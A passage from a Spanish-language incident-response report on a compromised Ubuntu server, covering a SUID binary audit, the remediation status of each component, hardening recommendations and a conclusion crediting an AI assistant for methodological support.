/snap/core20/1828/usr/bin/chfn
/snap/core20/1828/usr/bin/chsh
/snap/core20/1828/usr/bin/gpasswd
/snap/core20/1828/usr/bin/mount
/snap/core20/1828/usr/bin/newgrp
/snap/core20/1828/usr/bin/passwd
/snap/core20/1828/usr/bin/su
/snap/core20/1828/usr/bin/sudo
/snap/core20/1828/usr/bin/umount
/snap/core20/1828/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1828/usr/lib/openssh/ssh-keysign
sysadmin@4geeks-server:~$
```

find / -perm -4000: todos los binarios SUID son estándar del sistema, sin backdoors

5. RECOVER (Recuperar)

Verificación del restablecimiento de la integridad del sistema y recomendaciones para reforzar la postura de seguridad a futuro.

5.1 Estado final del sistema

Componente	Estado
Exfiltración de datos	Neutralizada
Usuario malicioso <code>hacker</code>	Eliminado
Persistencia (cron + script)	Erradicada
Credenciales comprometidas	Rotadas
Servicio FTP inseguro	Deshabilitado
Artefactos y señuelos	Limpiados
Acceso SSH	Endurecido
Firewall (UFW)	Activo y verificado

5.2 Recomendaciones para producción

- Autenticación SSH por clave:** deshabilitar `PasswordAuthentication` y migrar a claves SSH, eliminando la viabilidad de ataques de fuerza bruta.
- Fail2ban o equivalente:** implementar bloqueo automático de IPs tras intentos fallidos repetidos de autenticación.
- Actualización del sistema:** el servidor ejecuta Ubuntu 20.04, sin soporte estándar desde 2025. Se recomienda migrar a una versión con soporte activo (había 80 paquetes pendientes de actualización).
- Monitorización de integridad:** el sistema ya cuenta con un agente Wazuh; se recomienda explotar sus reglas de detección de fuerza bruta SSH y monitorización de archivos (FIM) sobre `/etc/passwd`, `/etc/cron.d/` y directorios sensibles.
- Segmentación de red:** restringir el acceso SSH a rangos de IP confiables mediante firewall.
- Gestión de credenciales:** prohibir el almacenamiento de contraseñas en texto plano; implementar un gestor de secretos.
- Auditoría periódica de logs:** centralizar los registros fuera del servidor para evitar su manipulación local, tal como se observó en este incidente.

5.3 Observaciones adicionales

Durante el análisis se observó una **discrepancia temporal** entre las marcas de tiempo de los registros de ataque (fechados en 2025) y la fecha del sistema en el momento del análisis (2026). Se recomienda verificar la sincronización horaria (NTP) del servidor y considerar esta discrepancia al correlacionar eventos en la línea de tiempo forense.

5.4 Conclusión

El incidente correspondió a un compromiso completo del servidor con exfiltración activa de datos, persistencia establecida y un esfuerzo deliberado de encubrimiento e inculpación de un usuario inocente. Mediante una metodología de investigación manual y sistemática se logró **identificar la totalidad de los vectores, reconstruir la cronología del ataque y erradicar la amenaza** sin interrumpir el servicio, restaurando la integridad del sistema y reforzando su configuración de seguridad.

Informe elaborado por Raúl Martín en el rol de Analista de Ciberseguridad. El proceso de investigación, remediación y documentación contó con el apoyo metodológico de Claude (Anthropic) como asistente, empleado para la orientación técnica paso a paso, la explicación conceptual de cada comando y la estructuración del presente documento. Todas las decisiones técnicas y su ejecución fueron realizadas y validadas por el analista.